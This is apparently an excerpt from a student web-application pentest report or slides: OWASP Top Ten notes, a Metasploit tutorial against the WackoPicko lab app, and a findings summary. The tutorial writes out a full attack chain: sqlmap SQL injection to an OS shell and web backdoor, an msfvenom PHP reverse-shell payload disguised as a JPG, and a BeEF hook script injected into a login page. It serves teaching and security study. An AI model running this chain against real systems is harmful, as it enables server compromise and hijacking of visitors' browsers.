  • 40. XL attackersto include chaotic actors. componentis deepinthe application. Example Attack Scenarios: Component vulnerabilities can cause almost any type of risk imaginable, ranging from the trivial to sophisticated malware designed to target a specific organization. Components almost always run with the full privilege of the application, so flaws in any component can be serious, The following two vulnerable components were downloaded 22m times in 2011.  Apache CXF Authentication Bypass – By failing to provide an identity token, attackers could invoke any web service with full permission. (Apache CXF is a services framework, not to be confused with the Apache Application Server.)  Spring Remote Code Execution – Abuse of the Expression Language implementation in Spring allowed attackers to execute arbitrary code, effectively taking over the server. Every application using either of these vulnerable libraries is vulnerable to attack as both of these components are directly accessible by application users. Other vulnerable libraries, used deeper in an application, may be harder to exploit.
  • 41. XLI 2.10. UNVALIDATED REDIRECTS AND FORWARDS Web applications frequently redirect and forward users to other pages and websites, and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages. A10- Unvalidated Redirects and Forwards Threat Agents Attack Vectors Security Weakness Technical Impacts Business Impacts Application Specific Exploitability DIFFICULT Prevalence UNCOMMON Detectability AVERAGE Impact SEVERE Application / Business Specific Consider anyone who can trick your usersinto submittinga requestto your website. Anywebsite or other HTML feed that your usersuse coulddo this. Attackerlinks to unvalidated redirectand tricksvictims intoclickingit. Victimsare more likelyto clickon it,since the linkisto a validsite. Attacker targetsunsafe forwardto bypasssecurity checks. Applications frequently redirect users to other pages, or use internal forwards in a similar manner. Sometimes the target page is specified in an unvalidated parameter, allowing attackers to choose the destination page. Detecting unchecked redirects is easy. Look for redirects where you can set the full URL. Unchecked forwards are harder, because they target internal pages. Such redirects may attempt to install malware or trick victims intodisclosing passwordsor othersensitive information. Unsafe forwardsmay allow access control bypass. Consider the business value of retaining your users’ trust. What if they get owned by malware? What if attackers can access internal only functions.
  • 42. XLII Example Attack Scenarios: Scenario #1: The application has a page called “redirect.jsp” which takes a single parameter named “url”. The attacker crafts a malicious URL that redirects users to a malicious site that performs phishing and installs malware. http://www.example.com/redirect.jsp?url=evil.com Scenario #2: The application uses forwards to route requests between different parts of the site. To facilitate this, some pages use a parameter to indicate where the user should be sent if a transaction is successful. In this case, the attacker crafts a URL that will pass the application’s access control check and then forwards the attacker to administrative functionality for which the attacker isn’t authorized. http://www.example.com/boring.jsp?fwd=admin.jsp
  • 43. XLIII Chapter Three Exploitation Exploitation Exploitation is the meridian for every security engineer. It is a great feeling to exploit a first machine and get full control over that machine. Exploitation is a very difficult task to accomplish. We need to know much about the target. In this chapter i will show you advanced techniques to get shell on the target system and you will gain full control over the victim system. How to hack a website with Metasploit By Sumedt Jitpukdebodin Normally, Penetration Tester or a Hacker use Metasploit to exploit vulnerability services in the target server or to create a payload to make a backdoor in the hacked server. But Metastploit has improved with many plugins and modules and now it can do more than that. It can be used to pentest web applications too. In this article, I will show you how to use Metasploit for scanning to get the information of web server and use Metasploit to be a vulnerability assessment of web application. Scenario In this article, we will try to attack client who use this vulnerability server. And this is the detail of character in this scenario. 1. Attacker Machine - Backtrack 5 R3 192.168.1.137 2. Target – WackoPicko web application(one of website in OWASP Broken Web Application v1.0) 192.168.1.138
  • 44. XLIV 3.1. SCANNING PHASE First thing when you want to hack server, you must get the information of target as much as you can. So the first thing we must do is scan server. Metastploit has “db_nmap” a module that use to run nmap (the most famous scanning tool) and when it gets the result from nmap, it is putting the results into the database which was created to keep the results. Follow these steps: 1. Open Metasploit console root@bt:/ msfconsole 2. In the Metasploit console use db_nmap command with IP Address of target machine. msf > db_nmap [*] Usage: db_nmap [nmap options] msf > db_nmap 192.168.77.138 3. We can check the result of scanning with “hosts” command. msf > hosts –h
  • 45. XLV msf> hosts 4. You can use “services” command to receive a detail of services. And it has “created_at, info, name, port, proto, state, updated_at” column for display. msf > services –h msf > services
  • 46. XLVI msf> services -c port,name,state From above, the result shows that the target server has web service. Metasploit has module for crawling a website too. 1. Pick up the auxiliary/scanner/http/crawler module. msf> use auxiliary/scanner/http/crawler
  • 47. XLVII 2. Specific the target with RHOST msf auxiliary(crawler) > set RHOST 192.168.77.138 In this article, we focus to WackoPicko web application and we will specific it with URI msf auxiliary(crawler) > set URI /WackoPicko/ 3. Start crawling website msf auxiliary(crawler) > run From this phase, you can get the information from server and web application. The next phase, we will use the information for attack it.
  • 48. XLVIII 3.2. EXPLOIT PHASE In this phase, we will try to attack it with vulnerability scanning module of Metasploit and try to use it with another attack tool. WMAP Plugin: "WMAP is a general purpose web application scanning framework for Metasploit 3. The architecture is simple and its simplicity is what makes it powerful. It's a different approach compared to other open source alternatives and commercial scanners, as WMAP is not build around any browser or spider for data capture and manipulation.", we will use this module to vulnerability scanning website. The step are 1. load wmap modules msf auxiliary(crawler) > load wmap 2. In the scanning phase, we has already crawling the web and it keeps all information into database. WMAP Plugin can read it to learn the structure of web application. And you can display detail of web application with wmap_sites command. msf auxiliary(crawler) > wmap_sites
  • 49. XLIX msf auxiliary(crawler) > wmap_sites –l 3. If you want to see the structure of web application, you can use wmap_sites command. wmap_sites -s [target_id] msf auxiliary(crawler) > wmap_sites -s 0 4. Now we are ready for scanning, so we will specific the target of web application with
  • 50. L wmap_targets command. msf auxiliary(crawler) > wmap_targets msf auxiliary(crawler) > wmap_targets –t 5. Start automate vulnerability scan with wmap_run command. msf auxiliary(crawler) > wmap_run msf auxiliary(crawler) > wmap_run –e 6. After finished scan, you can check the result of scan with wmap_vulns
  • 51. LI msf auxiliary(crawler) > wmap_vulns –l From the result, we know some vulnerability of this web application such as “sensitive file or directory”, “admin directory”, “back up directory”, “SQL Injection vulnerability page”, etc. Now you can try to attack it from this result.
  • 52. LII 3.3. SQL INJECTION WITH METASPLOIT If you want to test the parameter that has SQL Injection vulnerability or not, you can try to test it with Metasploit too. I will use auxiliary/scanner/http/blind_sql_query module for this test. 1. After we scan with WMAP Plugin, we know that http://192.168.77.138/WackoPicko/users/login.php has SQL Injection vulnerability and it has 2 parameter: username, password. Now we try to test username parameter with auxiliary/scanner/http/blind_sql_query module. msf > use auxiliary/scanner/http/blind_sql_query msf auxiliary(blind_sql_query) > show options 2. Specific the environment of target page. msf auxiliary(blind_sql_query) > set DATA username=hacker&password=password&submit=login msf auxiliary(blind_sql_query) > set METHOD POST msf auxiliary(blind_sql_query) > set PATH /WackoPicko/users/login.php msf auxiliary(blind_sql_query) > set RHOSTS 192.168.77.138
  • 53. LIII 3. Start to test. msf auxiliary(blind_sql_query) > run The result is “username” parameter has SQL Injection vulnerability. You can test another SQL Injection technique [ Error Based Technique] with auxiliary/scanner/http/error_sql_injection module. Now we know “username” parameter of users/login.php page has vulnerability and we use this vulnerability to owning the website with sqlmap. SQLMap is the famous tool for SQL Injection and it great work with Metasploit.
  • 54. LIV 1. we will use 3 options of sqlmap for this attack. -u URL target url -data=DATA Data string to be sent through POST -random-agent Use randomly selected HTTP User-Agent header --os-shell Prompt for an interactive operating system shell 2.Now, run the sqlmap with detail that we have. After this command, if the user that used for this application has enough privilege, you can get the shell. (This below is the output from SQLMap process for upload shell.) root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://192.168.77.138/WackoPicko/users/login.php" --data "username=hacker&password=password&submit=login" --os-shell sqlmap/1.0-dev-4649450 - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws.
  • 55. LV Developers assume no liability and are not responsible for any misuse or damage caused by this program. [*] starting at 10:21:05 [10:21:05] [INFO] resuming back-end DBMS 'mysql' [10:21:05] [INFO] testing connection to the target url sqlmap got a 303 redirect to 'http://192.168.77.138:80/WackoPicko/users/home.php'. Do you want to follow? [Y/n] Y [10:21:07] [INFO] heuristics detected web page charset 'None' [10:21:07] [INFO] heuristics detected web page charset 'ascii' sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: POST Parameter: username Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: username=hacker' AND 2163=2163 AND 'YJxM'='YJxM&password=password&submit=login Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: username=hacker' AND (SELECT 3246 FROM(SELECT COUNT(*),CONCAT(0x3a6377663a,(SELECT (CASE WHEN (3246=3246) THEN 1 ELSE 0 END)),0x3a6268653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'oBNd'='oBNd&password=password&submit=login --- [10:21:07] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 10.04 (Lucid Lynx) web application technology: PHP 5.3.2, Apache 2.2.14 back-end DBMS: MySQL 5
  • 56. LVI [10:21:07] [INFO] going to use a web backdoor for command prompt [10:21:07] [INFO] fingerprinting the back-end DBMS operating system [10:21:07] [INFO] the back-end DBMS operating system is Linux [10:21:07] [INFO] trying to upload the file stager which web application language does the web server support? [1] ASP [2] ASPX [3] PHP (default) [4] JSP > 3 [10:21:09] [WARNING] unable to retrieve the web server document root please provide the web server document root [/var/www/]: [10:21:10] [WARNING] unable to retrieve any web server path please provide any additional web server full path to try to upload the agent [Enter for None]: [10:21:10] [WARNING] unable to upload the file stager on '/var/www' [10:21:10] [INFO] the file stager has been successfully uploaded on '/var/www/WackoPicko/users' - http://192.168.77.138:80/WackoPicko/users/tmputgqe.php [10:21:10] [INFO] the backdoor has been successfully uploaded on '/var/www/WackoPicko/users' - http://192.168.77.138:80/WackoPicko/users/tmpblzgg.php [10:21:10] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER os-shell> Now we're in the target machine, we will create backdoor for make it easier to connect back and easier to compromise this machine.
  • 57. LVII 3. We will create backdoor with Metasploit(msfvenom command). root@bt:~# msfvenom no options Usage: /opt/metasploit/msf3/msfvenom [options] <var=val> Options: -p, --payload [payload] Payload to use. Specify a '-' or stdin to use custom payloads -l, --list [module_type] List a module type example: payloads, encoders, nops, all -n, --nopsled [length] Prepend a nopsled of [length] size on to the payload -f, --format [format] Output format (use --help-formats for a list) -e, --encoder [encoder] The encoder to use -a, --arch [architecture] The architecture to use --platform [platform] The platform of the payload -s, --space [length] The maximum size of the resulting payload -b, --bad-chars [list] The list of characters to avoid example: 'x00xff' -i, --iterations [count] The number of times to encode the payload -c, --add-code [path] Specify an additional win32 shellcode file to include -x, --template [path] Specify a custom executable file to use as a template -k, --keep Preserve the template behavior and inject the payload as a new thread -o, --options List the payload's standard options -h, --help Show this message --help-formats List available formats root@bt:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.77.137 LPORT=443 -f raw > /var/www/bd.php root@bt:~# mv /var/www/bd.php /var/www/bd.jpg
  • 58. LVIII 4. In the shell of target machine, download the backdoor and change it to bd.php. os-shell> wget http://192.168.77.137/bd.jpg do you want to retrieve the command standard output? [Y/n/a] Y command standard output: --- --2012-08-26 23:47:21-- http://192.168.77.137/bd.php Connecting to 192.168.77.137:80... connected. HTTP request sent, awaiting response... 200 OK Length: 10 [text/html] Saving to: `bd.php' 0K 100% 2.04M=0s 2012-08-26 23:47:21 (2.04 MB/s) - `bd.php' saved [10/10] --- os-shell> pwd do you want to retrieve the command standard output? [Y/n/a] y command standard output: '/owaspbwa/owaspbwa- svn/var/www/WackoPicko/users' os-shell> mv bd.jpg bd.php do you want to retrieve the command standard output? [Y/n/a] y No output
  • 59. LIX 5. Create the handler for waiting connection back from bd.php. root@bt:~# msfcli multi/handler PAYLOAD=php/meterpreter/reverse_tcp LHOST=192.168.77.137 LPORT=443 E [*] Please wait while we load the module tree... IIIIII dTb.dTb _.---._ II 4' v 'B .'"".'/|`.""'. II 6. .P : .' / | `. : II 'T;. .;P' '.' / | `.' II 'T; ;P' `. / | .' IIIIII 'YvP' `-.__|__.-' I love shells --egypt =[ metasploit v4.5.0-dev [core:4.5 api:1.0] + -- --=[ 932 exploits - 499 auxiliary - 151 post + -- --=[ 251 payloads - 28 encoders - 8 nops =[ svn r15753 updated 11 days ago (2012.08.16) Warning: This copy of the Metasploit Framework was last updated 11 days ago. We recommend that you update the framework at least every other day. For information on updating your copy of Metasploit, please see: https://community.rapid7.com/docs/DOC- 1306
  • 60. LX PAYLOAD => php/meterpreter/reverse_tcp LHOST => 192.168.77.137 LPORT => 443 [*] Started reverse handler on 192.168.77.137:443 [*] Starting the payload handler... 6. Run the backdoor with your web browser. And now you will get the meterpreter in you metsaploit console =[ metasploit v4.5.0-dev [core:4.5 api:1.0] + -- --=[ 932 exploits - 499 auxiliary - 151 post + -- --=[ 251 payloads - 28 encoders - 8 nops =[ svn r15753 updated 11 days ago (2012.08.16) Warning: This copy of the Metasploit Framework was last updated 11 days ago. We recommend that you update the framework at least every other day. For information on updating your copy of Metasploit, please see: https://community.rapid7.com/docs/DOC- 1306
  • 61. LXI PAYLOAD => php/meterpreter/reverse_tcp LHOST => 192.168.77.137 LPORT => 443 [*] Started reverse handler on 192.168.77.137:443 [*] Starting the payload handler... [*] Sending stage (39217 bytes) to 192.168.77.138 [*] Meterpreter session 1 opened (192.168.77.137:443 -> 192.168.77.138:42757) at 2012-08-27 11:05:31 +0700 meterpreter > Now you are in the owning machine and can do everything you want with Metasploit. In the next, we will use BeEF to compromise the victim who visit website of this machine.
  • 62. LXII 3.4. METASPLOIT WITH BEEF PLUGIN And the last of this article, we will use Metasploit with BeEF(Browser Exploit Framework). So what is BeEF. “BeEF hooks one or more web browsers as beachheads for the launching of directed command modules. Each browser is likely to be within a different security context, and each context may provide a set of unique attack vectors.” 1. Run the beef service root@bt:/pentest/web/beef# ./beef -x -v 2. Go to Metasploit plugin path and download BeEF plugin of Metasploit from “https://github.com/xntrik/beefmetasploitplugin.git” $ cd /pentest/exploits/framework/msf3 $ git clone https://github.com/xntrik/beefmetasploitplugin.git Initialized empty Git repository in /opt/metasploit/msf3/beefmetasploitplugin/.git 3. Move file beef.rb to msf/plugins and lib/beef to msf/lib $ root@bt:/pentest/exploits/framework/msf3# mv beefmetasploitplugin/lib/beef lib/ $ root@bt:/pentest/exploits/framework/msf3# mv beefmetasploitplugin/plugins/beef.rb plugins/ 4. Install hpricot,json gem $ root@bt:/pentest/exploits/framework/msf3# gem install hpricot json 5. In the Metasploit console, load BeEF plugin. msf > load beef
  • 63. LXIII 6. Connect to BeEF msf > beef_connect msf > beef_connect http://127.0.0.1:3000 beef beef 7. In this step, we want to run the BeEF script on any client who visit the login page. Back to the shell meterpreter that you got in the last phase of sqlmap attack. Download login.php page. Add the script <script src='http://192.168.77.137:3000/hook.js></script> into the file and upload it to host. meterpreter > download login.php . [*] downloading: login.php -> ./login.php [*] downloaded : login.php -> ./login.php root@bt:~# echo "<script src='http://192.168.77.137:3000/hook.js></script>" >> login.php meterpreter > upload login.php . [*] uploading : login.php -> . [*] uploaded : login.php -> ./login.php meterpreter > Now when victim visit the login page, he will run the script of BeEF. 8. Go to BeEF web management interface(http://127.0.0.1:3000/ui/panel), login with username “beef” and password “beef”
  • 64. LXIV 9. If someone visit login.php page, he will attacked by BeEF and in the left panel of BeEF will show the list of victim.
  • 65. LXV If you want to see the detail of victim, just click it. The detail of victim will appear in the right panel. So you can check the list of victim from Metasploit console too, with beef_online command. msf > beef_online
  • 66. LXVI And if you want to check the detail of victim in Metasploit console, use beef_target command msf > beef_target msf > beef_target -i 0 10. Now you can run the command of BeEF with beef_target command msf > beef_target -c 0 47 After run the beef_target command, in the BeEF's console, BeEF will use “Man-In- The_Browser” command to victim.
  • 67. LXVII Chapter Four Reporting of Web Application 4.1. SUMMARY OF FINDINGS A summary of the findings for the OWASP SASAP Open 192.168.77.138 Assessment Key Cross-Site Scripting AuthenticationandSessionManagement MaliciousFile Execution BrokenAccessControl SQL Injection
  • 68. LXVIII 4.2. OWASP TOP TEN 2013 The OWASPTop Ten (2013) providedstudentswithasolidoverview of the securitycritical areasthat wouldbe assessedduringthe review.Inanattempttonarrow the scope of the securityassessment, the participantsof the projectdividedintosevengroups,eachgroupselectingtheirownsecurity critical area.For the remainderof the assessment,eachgroupwasconsidereda subjectmanner expertin theirsecuritycritical area.Afterreviewingthe OWASPTopTen,the groupsselectedthe followingsecuritycritical areasforreview: 1. BROKEN AUTHENTICATION 2. SQL INJECTION 3. CROSS-SITE SCRIPTING Risk Description Threat Level Potential Corporate Loss Likelihood of Exploitation Affected IP’s/URI Recommendation Broken Authentication The user can login and get the access with any username and password. Server A significant amount of privileged information was found. Because there was no authenticatio n it is trivial to break in to the system and get sensitive information 192.168.7 7.138 Proper authentication mechanism should be implemented along with a good password policy. SQL Injection SQL injection exists in the username and password fields. This may also allow an attacker to run arbitrary SQL Query on the server. Server An attacker can gain access to personal employee information. The version of SQL server, database, and server name was also revealed. It was possible to enumerate the entire database table and also quite likely to run malicious SQL injection is an old technique and it does not require much technical skills to exploit the database and run malicious queries. 192.168.7 7.138 It is advisable to filter all the input data before running the SQL query and allow only valid characters. For e.g.:- disallow single quotes (‘), comments(--) etc. Use least privilege principle and allow only the necessary privileges.
  • 69. LXIX commands like “drop table”, etc Cross site scripting It allows an attacker to run arbitrary script in the victim’s browser. Moder ate An attacker may use this flaw to trick your web users to give him/her their credentials (cookie) which can be used for session hijacking. This attack is dependent on the victim to execute a crafted link. 192.168.7 7.138 All data on all the pages should have input as well as output filtering. If possible, meta- characters like <>,.?^&/~`’”- () from a user’s input should be completely removed. Input: ‘<’ character Modified during output: ‘&lt’ Industry Standard References: Some well-known, industry-standard references include:  National Vulnerability Database (NVD)  Common Vulnerability Scoring System(CVSS)  Common Vulnerabilities and Exposure (CVE)  Common Weakness Enumeration (CWE)  Open Source Vulnerability Database (OSVDB) Determining the Severity of the Risk: In this step the likelihood estimate and the impact estimate are put together to calculate an overall severity for this risk. This is done by figuring out whether the likelihood is low, medium, or high and critical then does the same for impact.
  • 70. LXX 4.3. ADVANTAGES OF PENETRATION TESTING SERVICES Protect Your Company Image & Maintain Customer Loyalty. As a business owner, one of your most valuable assets is your good name. All it takes is one incident of compromised customer data and information can be extremely costly – in more ways than one. Performing a penetration test allows you to avoid data incidents that could compromise your company’s reputation. Avoid Fines While Meeting Regulatory Requirements. Performing penetration testing allows your firm to satisfy the auditing/compliance regulations including the following:  GLBA  PCI  HIPAA Penetration tests can also provide detailed reporting that can help your company avoid fines levied for not being in compliance. Avoid Costly Network Downtime. A security breach can be devastating due to lost productivity and revenue, in addition to the IT efforts required to properly recover. The end result could cost your company millions. Penetration testing allows you to thwart this monetary loss by properly identifying and accessing risks before security breaches take place. Justify Your Security Spend. Penetration testing can evaluate future investments while analyzing the effectiveness of your existing security products.
  • 71. LXXI 4.4. LIMITATIONS OF PENETRATION TESTING Penetration testing are useful practices that can help make an organization’s security tighten. But penetration testing do have limitations which can be a project-based limitation or the penetration testers skills themselves. Limitations of Penetration Testing Penetration testing cannot find all vulnerabilities in a target environment. There are limitations based on the resources and restrictions of a test: – Limitations of scope – Limitations of time – Limitations on access of penetration testers – Limitations on methods of penetration testers WASTHIS PROJECT BENEFICIAL TO YOUR STUDY OF APPLICATIONSOFTWARE SECURITY?  Yes.  The OWASP project was very beneficial to my study of Application Software Security. In specific, this project provided the ability to modify requests on the fly in order to escalate privileges and leverage numerous attacks.  Yes, this project was the perfect supplement to the material we learned in class. I would go so far as to say that this class would have not been as fruitful if we had not experienced this during our time here.  This project assisted greatly in my study of application software security. It was a great opportunity to investigate the source code of Open WebMail and utilize WebScarab to modify HTTP requests on the fly.  This project was very beneficial because it provided hands-on experience. It was much easier to understand the topical information.  Not only was this beneficial, but it was the most useful thing that we have done.
  • 72. LXXII CONCLUSION Security is continuum, not an absolute. The value of penetration testing lies in its results the ones that answer the big question "WHY?" A successful penetration test indicates more than a particular flaw, it identifies the process failures that produced the vulnerability, at the first place. Fixing or patching the vulnerability detected does not mean an end to your security worries or nightmares, it is just the beginning of a never-ending cycle. A penetration test does not guarantee absolute security – it's just a measurement of your security posture. So, "never have a false sense of security."